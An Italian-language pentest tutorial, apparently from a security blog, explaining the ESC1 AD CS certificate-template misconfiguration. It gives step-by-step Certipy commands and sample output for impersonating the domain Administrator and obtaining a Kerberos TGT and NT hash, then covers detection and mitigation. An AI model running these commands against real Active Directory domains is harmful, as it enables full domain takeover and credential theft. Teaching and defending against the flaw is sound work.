windows

ESC1 ADCS Privilege Escalation: Exploit Active Directory con Certipy

ESC1 ADCS Privilege Escalation: Exploit Active Directory con Certipy

ESC1 ADCS Privilege Escalation: come sfruttare certificate template vulnerabili in Active Directory con Certipy. Guida pratica step-by-step per ottenere Domain Admin.

  • Pubblicato il 2026-03-06
  • Tempo di lettura: 3 min

ESC1 è la misconfigurazione più classica e pericolosa di AD CS. Permette a un utente con pochi privilegi di ottenere un certificato impersonando qualsiasi account del dominio, inclusi Domain Admin.

Il problema nasce quando un certificate template consente all’utente di specificare manualmente l’identità nel certificato.

Se il template permette di inserire un UPN arbitrario nel SAN, l’attaccante può richiedere un certificato per:

text
administrator@corp.local

e autenticarsi come Administrator.


Quando esiste una vulnerabilità ESC1 #

ESC1 esiste quando un template ha queste quattro condizioni contemporaneamente.

1 — Enrollee Supplies Subject #

Il template usa:

text
Supply in the request

che corrisponde al flag:

text
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

Questo permette al richiedente di definire:

  • Subject
  • SAN
  • UPN
  • DNS

2 — EKU di autenticazione #

Il certificato può essere usato per login.

EKU tipici:

text
Client Authentication
Smart Card Logon
PKINIT Client Authentication
Any Purpose

OID esempio:

text
1.3.6.1.5.5.7.3.2

3 — Enrollment aperto #

Il template permette l’enrollment a gruppi ampi come:

text
Domain Users
Authenticated Users

4 — Nessun controllo di sicurezza #

Il template non richiede:

text
Manager approval
Authorized signatures

Il certificato quindi viene emesso automaticamente.


Identificazione con Certipy #

Enumerare i template:

bash
certipy find -u attacker@corp.local -p 'Passw0rd!'

Output tipico:

text
Template Name : VulnTemplate
Client Authentication : True
Enrollee Supplies Subject : True
Enrollment Rights : Domain Users

[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication

Indicatori chiave:

text
Enrollee Supplies Subject : True
Client Authentication : True
Enrollment Rights : Domain Users
Requires Manager Approval : False
Authorized Signatures Required : 0

Exploitation ESC1 #

L’exploit è molto semplice.

1️⃣ richiedere certificato impersonando un admin 2️⃣ autenticarsi con quel certificato


Step 1 — trovare SID della vittima #

bash
certipy account \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-user administrator read

Output:

text
objectSid : S-1-5-21-...-500

Step 2 — richiedere certificato Administrator #

bash
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template VulnTemplate \
-upn administrator@corp.local \
-sid S-1-5-21-...-500

Output:

text
Successfully requested certificate
Saving certificate to administrator.pfx

Il certificato contiene:

text
SAN UPN = administrator@corp.local
SID = S-1-5-21-...-500

Step 3 — autenticarsi come Administrator #

bash
certipy auth \
-pfx administrator.pfx \
-dc-ip 10.0.0.100

Output:

text
Got TGT
Saving credential cache
Got NT hash for administrator

L’attaccante ottiene:

  • Kerberos TGT
  • NTLM hash
  • accesso Domain Admin

Impersonare un Domain Controller #

Per impersonare un computer account:

bash
certipy req \
-template VulnTemplate \
-dns dc01.corp.local \
-sid S-1-5-21-...-1001

Parametro importante:

text
-dns

perché i computer usano SAN DNS.


Impatto ESC1 #

ESC1 porta direttamente a:

  • Domain Admin
  • Kerberos TGT
  • NTLM hash
  • compromissione completa del dominio

È uno degli attacchi AD CS più comuni nei pentest.


Detection ESC1 #

Indicatori principali:

text
Enrollee Supplies Subject
Client Authentication EKU
Enrollment Rights = Domain Users
No Manager Approval

Audit:

text
certipy find

oppure audit manuale dei template.


Mitigation ESC1 #

Disabilitare Supply in Request #

Configurare il template su:

text
Build from this Active Directory information

Limitare Enrollment #

Non usare:

text
Domain Users
Authenticated Users

Abilitare Manager Approval #

Template → Issuance Requirements:

text
CA certificate manager approval

Richiedere Authorized Signatures #

CSR firmato da Enrollment Agent.


Disabilitare template inutilizzati #

Molte vulnerabilità derivano da template legacy.


FAQ — ESC1 ADCS #

Cos’è ESC1? #

Una misconfigurazione che permette di specificare manualmente l’identità nel certificato.

Qual è il problema principale? #

Un utente può inserire nel SAN:

text
administrator@domain

ESC1 porta direttamente a Domain Admin? #

Sì, se il certificato contiene UPN o SID di un admin.

È comune nei pentest? #

Molto. È uno dei primi controlli fatti su AD CS.


Key Takeaway: se un template permette “Supply in request” e ha Client Authentication EKU, chiunque possa fare enrollment può ottenere un certificato per qualsiasi utente del dominio.


ESC1 è il punto di partenza per comprendere tutti gli attacchi AD CS. Guida completa alle escalation AD CS: https://hackita.it/articoli/adcs-esc1-esc16
Continua con: https://hackita.it/articoli/esc2-adcs · https://hackita.it/articoli/esc3-adcs
Supporta HackIta: https://hackita.it/supporto Pentest Active Directory o formazione offensiva: https://hackita.it/servizi Riferimenti tecnici: https://github.com/ly4k/Certipy https://specterops.io/blog/2021/06/17/certified-pre-owned/

#ad #adcs #certipy #esc

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.